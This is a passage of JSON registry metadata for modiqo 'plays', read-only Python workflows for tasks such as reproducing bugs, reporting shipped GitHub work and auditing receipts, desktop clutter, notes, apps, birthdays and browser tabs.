GET."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8a6752f3c80ec3c682a308d95e467d2ea01b7c1a05ca7cecfd2bf4a0c2c434d1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":8,"for_each_steps":1,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/reproduce-play/reproduce@0.1.0","reference":"reproduce-play/reproduce@0.1.0","uri":"https://play.modiqo.ai/reproduce-play/reproduce@0.1.0","manifest_uri":"https://play.modiqo.ai/reproduce-play/reproduce@0.1.0","name":"reproduce","title":"reproduce","description":"Turn a bug report into executable regression memory. Input is a bug report plus a target repository. Output is a reproduction status, evidence, and repository-local regression memory. Writes only under the target .reproduce directory (runs, regressions, index.json, last-run.json). No network. No credentials. Does not modify application source or apply fixes.","owner":{"kind":"org","slug":"reproduce-play"},"registry_organization":"reproduce-play","tags":["typescript","reproduce","regression"],"primary_domain":"domain-uncategorized","author":"reproduce-play","version":"0.1.0","published_at":"2026-09-05T18:23:33.69599+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":34272,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":9,"names":["classify","investigate","search_memory","detect_project","persist_memory","validate_input","plan_reproduction","verify_regression","execute_reproduction"]},"parameters":[{"name":"bug","type":"string","required":true,"description":"Bug report to reproduce","example":"Users receive duplicate notifications after reconnecting."},{"name":"root","type":"string","required":false,"default":".","description":"Target repository that contains the bug. Default is the current directory. Evidence and regression memory are written here under .reproduce.","example":"/path/to/your-app"},{"name":"regression_id","type":"string","required":false,"default":"","description":"Optional. After you fix the target yourself, set this to re-run that stored reproduction. Leave empty to reproduce and persist OBSERVED memory.","example":"duplicate-notifications-receive-reconnecting-637f4f07"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7408d6c55377ab815db4c92063210c9e081a57c42bfbcc9eab34b0d70ea68245","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":7,"width":3,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shambhavi/change-lens@0.1.2","reference":"shambhavi/change-lens@0.1.2","uri":"https://play.modiqo.ai/shambhavi/change-lens@0.1.2","manifest_uri":"https://play.modiqo.ai/shambhavi/change-lens@0.1.2","name":"change-lens","title":"change-lens","description":"Analyze a Git diff and produce an evidence-backed impact map of files, references, risks, and next checks.","owner":{"kind":"user","slug":"shambhavi"},"registry_organization":"shambhavi","tags":["developer-tools","git","impact-analysis","debugging"],"primary_domain":"domain-uncategorized","author":"shambhavi","version":"0.1.2","published_at":"2026-09-05T17:58:03.562177+00:00","visibility":"public","quality_score":1,"size_bytes":3434,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["python3"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Play parameter"},{"name":"git_range","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2e3e800344600c53805d5cb06ed7b5bff6aaf83f7fb123b74ed063777e0e95ef","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rahul/shipped@0.1.0","reference":"rahul/shipped@0.1.0","uri":"https://play.modiqo.ai/rahul/shipped@0.1.0","manifest_uri":"https://play.modiqo.ai/rahul/shipped@0.1.0","name":"shipped","title":"shipped","description":"Answers \"what did I actually ship?\" - your merged pull requests and commits over a window, grouped by repo, with diff sizes and links. Built for standups, 1:1s and self-reviews, where the honest answer is usually \"I can't remember\" and you end up scrolling GitHub reconstructing it badly. If the window is empty it widens automatically (7 to 30 to 90 to 365 days) and tells you it did, so a quiet week still gives you a real answer instead of a blank screen. Works for any public GitHub login via the user parameter. Read-only (GET calls only); never pushes, comments, merges or edits anything. Reports anything unreadable as UNREAD and flags result caps rather than silently truncating. Supports mode=sample for a cold start with no GitHub history.","owner":{"kind":"user","slug":"rahul"},"registry_organization":"rahul","tags":["github","standup","retrospective","pull-requests","read-only","typescript"],"primary_domain":"domain-uncategorized","author":"Agruskrrishofficial","version":"0.1.0","published_at":"2026-09-05T16:47:14.372438+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":7670,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["check"]},"parameters":[{"name":"user","type":"string","required":false,"default":"","description":"Optional GitHub login to report on. Any public username works. Default: the authenticated gh user."},{"name":"days","type":"string","required":false,"default":"7","description":"Lookback window in days (default 7). Widens automatically to 30, 90 then 365 if the window is empty, and tells you it widened."},{"name":"repo","type":"string","required":false,"default":"","description":"Optional owner/repo to scope the report to a single repository."},{"name":"mode","type":"string","required":false,"default":"live","description":"Set to \"sample\" to see a demo report with fixture data instead of calling GitHub."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8d8d80d45a4d5b99a3a8a07c3537b3d00b533e0e4d17fb6373d15f5d7927b63f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/receipt-ledger@0.1.0","reference":"rajkaria/receipt-ledger@0.1.0","uri":"https://play.modiqo.ai/rajkaria/receipt-ledger@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/receipt-ledger@0.1.0","name":"receipt-ledger","title":"receipt-ledger","description":"Every purchase leaves a file somewhere. A PDF invoice, a saved confirmation page, an exported message. None of them are ever added up, because they are four formats sitting in one folder and opening them one at a time is nobody's evening.\nThis reads all four. Email files are parsed with their headers, so the sender and the date are the real ones and not the file's. Saved pages are stripped to text. PDFs are decompressed and, where the fonts use their own encoding, decoded through the document's own ToUnicode table, then laid back out into lines from the coordinates each glyph was placed at, because a PDF has no concept of a line and reading one without reconstructing it gives you a column of single letters. A scanned receipt has no text at all and is reported as unreadable rather than guessed at.\nA document only counts as a receipt if it says it is one. An amount sitting on a line that says total, amount due or you paid is enough on its own; otherwise the document needs at least two of invoice number, order number, subtotal, a tax line, a payment method, a transaction reference or a billing period, and a phrase introduced by a negation does not count. A pitch deck full of dollar figures is not a receipt and is excluded by name in the source note.\nTotals are per currency and are never added across currencies. You get the spend by vendor and by month, the vendors that appear in three or more months, the same charge appearing in two files, and a confidence block saying how many amounts came from a total line rather than from being the largest figure on the page, and how many dates came from the file rather than the document.\nNothing logs in to anything. There is no bank, no email account and no API. It reads files you already have.\n- Reads: only the locations listed above. Nothing else on your disk is opened. - Never reads: any credential, keychain, token or password file. This Play needs no account and has no login step. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. - Degrades, never fails: a source this machine does not have, or that macOS will not let a terminal read, is reported by name with the reason and the run still completes. A scan that hits its own file or time bound says so and reports its counts as a lower bound. - Runs cold: set `demo=true` to run the whole Play against bundled synthetic fixtures with nothing configured, before you point it at your own machine.\nRequires python3 3.9 or newer. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-computing","job-spend-review","job-receipt-reconciliation","audience-everyone","effect-read-only","tool-pdf","tool-email"],"primary_domain":"domain-personal-computing","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T16:43:50.182585+00:00","visibility":"public","quality_score":1,"size_bytes":66103,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["report","read_mail","read_files"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs against bundled synthetic receipts in four formats, including one that must not count.","example":"false"},{"name":"months_back","type":"integer","required":false,"default":"12","description":"How far back to total. Receipts older than this are read and reported as outside the window.","example":"12"},{"name":"receipts_dir","type":"string","required":false,"default":"~/Downloads","description":"A folder of PDFs, .eml exports and saved pages. Searched recursively.","example":"~/Downloads"},{"name":"mail_dir","type":"string","required":false,"default":"~/Library/Mail","description":"Optional second folder. macOS protects this one; without Full Disk Access it is skipped by name.","example":"~/Library/Mail"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:636baff43ef37b107e31ffbecc4e5ec58d9cfa427dbd1eb2f5c784da99f93cae","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/desktop-clutter@0.1.0","reference":"rajkaria/desktop-clutter@0.1.0","uri":"https://play.modiqo.ai/rajkaria/desktop-clutter@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/desktop-clutter@0.1.0","name":"desktop-clutter","title":"desktop-clutter","description":"The Desktop and the Downloads folder are append-only in practice. Things arrive, nothing leaves, and the Finder sorts by name so the oldest file in there is invisible. Every fact needed to fix that is already in the file system.\nThis counts both folders, and the screenshot folder as well when you have moved it somewhere else, which it learns from the same preference macOS wrote when you changed it. You get the file count and total size, the oldest file with its date, an age histogram in both files and bytes, what the files actually are as screenshots, installers, archives, documents and media, and the biggest files with how long since each was touched.\nDuplicates are proven, not guessed. Files of the same size and type are only candidates; each cluster is then hashed and only files with identical contents are reported as duplicates, and the report states which test it applied. Set hash_duplicates=false for a faster pass, and the wording changes to say the contents were not compared, because a claim you cannot support should not read the same as one you can.\nIt ends with a grade from A to F built from three things: how many files, how many of them are cold, and how many duplicate groups. It is the same formula on every machine, so the grade is comparable with someone else's.\nNothing is moved, renamed or deleted. Contents are read only to prove a duplicate.\n- Reads: only the locations listed above. Nothing else on your disk is opened. - Never reads: any credential, keychain, token or password file. This Play needs no account and has no login step. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. - Degrades, never fails: a source this machine does not have, or that macOS will not let a terminal read, is reported by name with the reason and the run still completes. A scan that hits its own file or time bound says so and reports its counts as a lower bound. - Runs cold: set `demo=true` to run the whole Play against bundled synthetic fixtures with nothing configured, before you point it at your own machine.\nRequires python3 3.9 or newer. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-computing","job-disk-reclaim","job-desktop-cleanup","audience-everyone","effect-read-only","tool-finder"],"primary_domain":"domain-personal-computing","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T16:43:48.325388+00:00","visibility":"public","quality_score":1,"size_bytes":66081,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["report","read_desktop","read_downloads","read_screenshots"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs against a bundled synthetic folder listing with real ages, so the card is the same on every machine.","example":"false"},{"name":"cold_days","type":"integer","required":false,"default":"90","description":"A file untouched for this many days is counted as cold.","example":"90"},{"name":"hash_duplicates","type":"string","required":false,"default":"true","description":"true hashes same-size candidates so only identical files are reported. false is faster and says so.","example":"true"},{"name":"desktop_dir","type":"string","required":false,"default":"","description":"Override the Desktop location. Empty means ~/Desktop.","example":""},{"name":"downloads_dir","type":"string","required":false,"default":"","description":"Override the Downloads location. Empty means ~/Downloads.","example":""}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5bbb06e7928e7a2e32b0bec4b986a889ce8b2157cd6790ede3d175f4d3ec9c35","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/vault-pulse@0.1.0","reference":"rajkaria/vault-pulse@0.1.0","uri":"https://play.modiqo.ai/rajkaria/vault-pulse@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/vault-pulse@0.1.0","name":"vault-pulse","title":"vault-pulse","description":"A notes folder only grows. Nothing in the editor ever says which notes are load-bearing and which were written once and never opened again, so the answer is usually a feeling. Both facts are in the files: the links give the graph, the timestamps give the habit.\nThis reads a markdown folder, finds your Obsidian vault on its own if you do not name one, and builds the link graph from wiki links and relative markdown links together. Out of that come the notes nothing points at and that point nowhere, the notes that have inbound links but no outbound ones, the links that point at a note which does not exist, and the notes everything else points at.\nThen the habit. Notes never edited after the minute they were created, notes under thirty words, notes untouched past your threshold, the count of new notes per week for the last sixteen weeks, your daily-note streak with the longest run you have ever managed, and every unchecked box in the vault with the number of notes holding them.\nOne caveat is built in rather than left for you to discover. If every note carries the same creation time, which is what a fresh clone or a restored backup looks like, the never-edited count is meaningless and the Play says so instead of reporting a confident hundred per cent.\nNothing is written inside the vault. The report goes to your output folder.\n- Reads: only the locations listed above. Nothing else on your disk is opened. - Never reads: any credential, keychain, token or password file. This Play needs no account and has no login step. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. - Degrades, never fails: a source this machine does not have, or that macOS will not let a terminal read, is reported by name with the reason and the run still completes. A scan that hits its own file or time bound says so and reports its counts as a lower bound. - Runs cold: set `demo=true` to run the whole Play against bundled synthetic fixtures with nothing configured, before you point it at your own machine.\nRequires python3 3.9 or newer. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-computing","job-notes-audit","job-knowledge-hygiene","audience-everyone","effect-read-only","tool-obsidian","tool-markdown"],"primary_domain":"domain-personal-computing","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T16:43:46.465231+00:00","visibility":"public","quality_score":1,"size_bytes":65603,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["report","read_vault"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs against a bundled synthetic vault with orphans, a broken link and a daily-note streak.","example":"false"},{"name":"vault","type":"string","required":false,"default":"","description":"Leave empty to find an Obsidian vault automatically, then fall back to ~/Documents/Notes and ~/Documents.","example":""},{"name":"stale_days","type":"integer","required":false,"default":"180","description":"A note untouched for this many days is counted as stale.","example":"180"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:41763ef6925a84d57604ab00d379402877ff0d81914c429f9968cb23e8a6c6dd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/app-graveyard@0.1.0","reference":"rajkaria/app-graveyard@0.1.0","uri":"https://play.modiqo.ai/rajkaria/app-graveyard@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/app-graveyard@0.1.0","name":"app-graveyard","title":"app-graveyard","description":"macOS records the last time you opened every application and never shows you the list. This asks Spotlight for those dates, measures each bundle on disk, and turns \"what can I delete\" into a list with evidence on every row.\nIt also answers a question nobody thinks to ask. Sixteen bytes into an application's executable is the list of architectures it ships, and on an Apple silicon machine an app with no arm64 slice runs under translation every single time you open it. Reading that needs no tools and runs no code: the header is just read. Apps still shipping Intel-only are listed with their sizes.\nThe report gives the applications unopened past your threshold, sorted by what they cost you in disk, the ones with no recorded opening at all, the total that would come back, anything installed twice under the same bundle identifier, and your Homebrew casks including superseded versions still on disk and casks whose application is no longer anywhere.\nEvery date says where it came from. Spotlight answers for most applications; where it has no record the file access time is used instead and the row is labelled as such, because the two are not the same measurement and mixing them silently would make the whole list untrustworthy. A bundle too large to walk inside the per-app file cap has its size reported as a lower bound and is counted.\n- Reads: only the locations listed above. Nothing else on your disk is opened. - Never reads: any credential, keychain, token or password file. This Play needs no account and has no login step. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. - Degrades, never fails: a source this machine does not have, or that macOS will not let a terminal read, is reported by name with the reason and the run still completes. A scan that hits its own file or time bound says so and reports its counts as a lower bound. - Runs cold: set `demo=true` to run the whole Play against bundled synthetic fixtures with nothing configured, before you point it at your own machine.\nRequires python3 3.9 or newer. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-computing","job-disk-reclaim","job-application-audit","audience-everyone","effect-read-only","tool-spotlight","tool-homebrew"],"primary_domain":"domain-personal-computing","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T16:43:43.522335+00:00","visibility":"public","quality_score":1,"size_bytes":65827,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["report","read_casks","read_applications"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs against a bundled synthetic set of applications and casks.","example":"false"},{"name":"unused_days","type":"integer","required":false,"default":"180","description":"An application unopened for this many days is counted as unused.","example":"180"},{"name":"app_dirs","type":"string","required":false,"default":"","description":"Comma-separated override. Empty means /Applications, ~/Applications and /Applications/Utilities.","example":""}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:65e87a3826ac5b94517b4afcfe1a7b0b4e0cc4b0a0e1f6d2a9f56f814b3eb0d7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/birthday-radar@0.1.0","reference":"rajkaria/birthday-radar@0.1.0","uri":"https://play.modiqo.ai/rajkaria/birthday-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/birthday-radar@0.1.0","name":"birthday-radar","title":"birthday-radar","description":"Your address book already knows every birthday in it. It mentions them on the morning of, which is the one moment the information is useless. This reads the book you already have and sorts it by how soon, so the next one is a number of days rather than a surprise.\nThree sources, any of which is enough. The macOS Contacts database is copied and reopened read-only, so the live database is never locked, journalled or upgraded by being looked at; when macOS refuses the read the Play says exactly that and names Full Disk Access as the fix rather than reporting an empty address book. Any folder of vCard files works, which is what every contacts app on every platform exports. So does a CSV export from Google Contacts or Outlook, with the columns matched by name.\nYou get the next birthdays with the weekday and the age each person is turning, today's if there are any, and then the part a contact list never tells you: how much of the book has no birthday at all, how many birthdays carry no year so no age can be shown, which names appear more than once, and which contacts have neither an email nor a phone number. A birthday on 29 February is placed on the 28th in a common year rather than skipped.\nNames are printed as initials unless you set redact=false, and no email address or phone number is ever written into the report, though both are read to find duplicates.\n- Reads: only the locations listed above. Nothing else on your disk is opened. - Never reads: any credential, keychain, token or password file. This Play needs no account and has no login step. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. - Degrades, never fails: a source this machine does not have, or that macOS will not let a terminal read, is reported by name with the reason and the run still completes. A scan that hits its own file or time bound says so and reports its counts as a lower bound. - Runs cold: set `demo=true` to run the whole Play against bundled synthetic fixtures with nothing configured, before you point it at your own machine.\nRequires python3 3.9 or newer. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-computing","job-birthday-reminder","job-contact-hygiene","audience-everyone","effect-read-only","tool-contacts","tool-vcard"],"primary_domain":"domain-personal-computing","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T16:43:41.335045+00:00","visibility":"public","quality_score":1,"size_bytes":65925,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["report","read_csv","read_vcards","read_contacts"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs against a bundled synthetic address book, so a first run needs nothing exported.","example":"false"},{"name":"horizon","type":"integer","required":false,"default":"45","description":"How far ahead to look for the next birthdays.","example":"45"},{"name":"vcard_dir","type":"string","required":false,"default":"~/Documents","description":"A folder of .vcf exports, or one .vcf file. Searched recursively.","example":"~/Documents"},{"name":"csv_path","type":"string","required":false,"default":"","description":"Optional path to a Google or Outlook contacts CSV. Columns are matched by name.","example":""},{"name":"redact","type":"string","required":false,"default":"true","description":"true prints A. L. instead of the full name. Set false for a private run on your own machine.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cb3e8a455d34052e4a7613719ab0c64ec59c00ef8bb1c6c669f8f4593abd13e4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajkaria/tab-debt@0.1.0","reference":"rajkaria/tab-debt@0.1.0","uri":"https://play.modiqo.ai/rajkaria/tab-debt@0.1.0","manifest_uri":"https://play.modiqo.ai/rajkaria/tab-debt@0.1.0","name":"tab-debt","title":"tab-debt","description":"Your browser shows a tab strip. It never shows you a number, and it never shows you a date. Both are sitting in the session files the browser already writes, so this reads them and answers what the strip cannot: how many tabs are open across every browser on the machine, and how long since each one was actually looked at.\nFour formats, read directly and with no browser running. Chrome, Brave, Edge, Chromium, Vivaldi, Opera and Comet keep the live tab set as an SNSS command log, which is replayed here rather than scanned, because the last navigation recorded for a tab is the page it is showing and a tab closed later must not appear at all. Firefox, Zen and LibreWolf keep theirs as JSON inside an LZ4 container, decoded here by a decompressor written for the purpose. Safari and Arc keep property lists and a JSON sidebar store. Every profile is read separately, so a second Chrome profile is its own row.\nYou get the count, the oldest tab with the date it was last used, an age histogram, the sites the tabs actually belong to, the pages open more than once and how many would close with nothing lost, and Safari's reading list backlog with the date each item was saved. A tab whose browser recorded no last-used time is counted in the total and left out of every age figure, and the number of those is printed, because a cold-tab count quietly computed over half your tabs would be worse than one that admits what it could not judge.\nURLs are reduced to hostnames by default and query strings never appear anywhere, so the card is safe to show someone. Set keep_path=true to keep paths locally.\n- Reads: only the locations listed above. Nothing else on your disk is opened. - Never reads: any credential, keychain, token or password file. This Play needs no account and has no login step. - Never sends: `daily_core` imports no `urllib`, `http`, `socket` or `ssl`, which a test in the repository asserts on every commit. There is no network step, so there is nothing to opt out of. - Writes: only inside `out_dir`, which is created if missing. Every written path is listed in the run output. - Degrades, never fails: a source this machine does not have, or that macOS will not let a terminal read, is reported by name with the reason and the run still completes. A scan that hits its own file or time bound says so and reports its counts as a lower bound. - Runs cold: set `demo=true` to run the whole Play against bundled synthetic fixtures with nothing configured, before you point it at your own machine.\nRequires python3 3.9 or newer. No pip install, no node, no adapters, no credentials.","owner":{"kind":"user","slug":"rajkaria"},"registry_organization":"rajkaria","tags":["domain-personal-computing","job-browser-tab-audit","job-attention-hygiene","audience-everyone","effect-read-only","tool-chrome","tool-firefox","tool-safari"],"primary_domain":"domain-personal-computing","author":"rajkaria","version":"0.1.0","published_at":"2026-09-05T16:43:39.397617+00:00","visibility":"public","quality_score":1,"size_bytes":66099,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["report","read_arc","read_safari","read_firefox","read_chromium"]},"parameters":[{"name":"out_dir","type":"string","required":false,"default":"~/daily","description":"Created if missing. Everything this Play writes goes here and nowhere else.","example":"~/daily"},{"name":"demo","type":"string","required":false,"default":"false","description":"true runs the whole Play against bundled synthetic sessions, so a first run needs nothing installed.","example":"false"},{"name":"keep_path","type":"string","required":false,"default":"false","description":"false shows hostnames only. true keeps the path as well; query strings and fragments are dropped either 